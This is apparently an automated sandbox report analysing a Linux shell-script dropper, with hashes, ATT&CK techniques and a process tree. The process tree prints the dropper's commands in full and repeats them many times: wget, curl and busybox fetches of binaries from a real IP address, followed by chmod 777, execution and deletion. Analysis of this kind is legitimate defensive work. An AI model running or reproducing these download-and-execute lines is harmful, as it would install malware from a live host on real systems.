7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9

Analysis

max time kernel
20s
max time network
47s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9.sh
Size 10KB
Sample241122-c53w7ayndp
SHA256 7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9
MD5 50c4968b81b3ca09b6c7a1261db236d2
SHA1 0f7f226afb91914d7134093e008a540c6a13953e
SHA512 1cae6e0acb90eac7827241f53f8a412caf5af16bc4ed63cb2d464f0b6585abbd6dd78c98775c3ad7df701f3be201c69ee11949f831cf4f7eb4c2942e9d5e5026
SSDEEP 96:y3DNXls+h4y2LLML8LE77dwdYd8Xd5dVdMJfamC8H7TH/b3DNEFGlse8VxOonYfy:y3DNDh4y2/KaE78GJD3DNwDNKaE89
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
749	chmod
809	chmod
827	chmod
815	chmod
684	chmod
702	chmod
729	chmod
772	chmod
791	chmod
797	chmod
803	chmod
821	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	685	8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	703	yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	731	518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	750	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
/tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2	774	aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
/tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz	792	rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
/tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG	798	sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
/tmp/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p	804	ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
/tmp/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg	810	YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
/tmp/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa	816	AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
/tmp/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn	822	NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
/tmp/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB	828	I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz	curl
File opened for modification	/tmp/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p	curl
File opened for modification	/tmp/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa	curl
File opened for modification	/tmp/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB	curl
File opened for modification	/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	curl
File opened for modification	/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	curl
File opened for modification	/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	curl
File opened for modification	/tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2	curl
File opened for modification	/tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG	curl
File opened for modification	/tmp/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg	curl
File opened for modification	/tmp/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn	curl
File opened for modification	/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	curl

/tmp/7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9.sh
/tmp/7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  PID:660
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  PID:682
- /bin/chmod
  chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  PID:686
- /usr/bin/wget
  wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  PID:695
- /bin/chmod
  chmod 777 yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  ./yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Executes dropped EXE
  PID:703
- /bin/rm
  rm yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  PID:704
- /usr/bin/wget
  wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  PID:722
- /bin/chmod
  chmod 777 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  ./518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  PID:748
- /bin/chmod
  chmod 777 vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  ./vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  PID:751
- /usr/bin/wget
  wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  PID:766
- /bin/chmod
  chmod 777 aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  ./aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  PID:790
- /bin/chmod
  chmod 777 rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  ./rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
  2⤵
  PID:793
- /usr/bin/wget
  wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  PID:796
- /bin/chmod
  chmod 777 sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  ./sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
  2⤵
  PID:799
- /usr/bin/wget
  wget http://216.126.231.240/bins/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  PID:802
- /bin/chmod
  chmod 777 ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  ./ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
  2⤵
  PID:805
- /usr/bin/wget
  wget http://216.126.231.240/bins/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  PID:808
- /bin/chmod
  chmod 777 YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  ./YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm YRSoCYH1vzIauRaE96ogRqBDBgyNCcGGdg
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  PID:814
- /bin/chmod
  chmod 777 AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  ./AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm AmmDunsqwZfQsPL1Rzg0DfAU2UnudtoBoa
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  PID:820
- /bin/chmod
  chmod 777 NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  ./NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm NsQUGNBG3RS8rPHH6Fm6eYfvAzzcJblRZn
  2⤵
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  PID:826
- /bin/chmod
  chmod 777 I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  ./I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm I2hDtCR5qPCfn1Od2ybIZq7ByiFkkfUzoB
  2⤵
  PID:829
- /usr/bin/wget
  wget http://216.126.231.240/bins/SCVbwPzbOHRYBA607w7kXP782nb3sznlBz
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX

Path /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads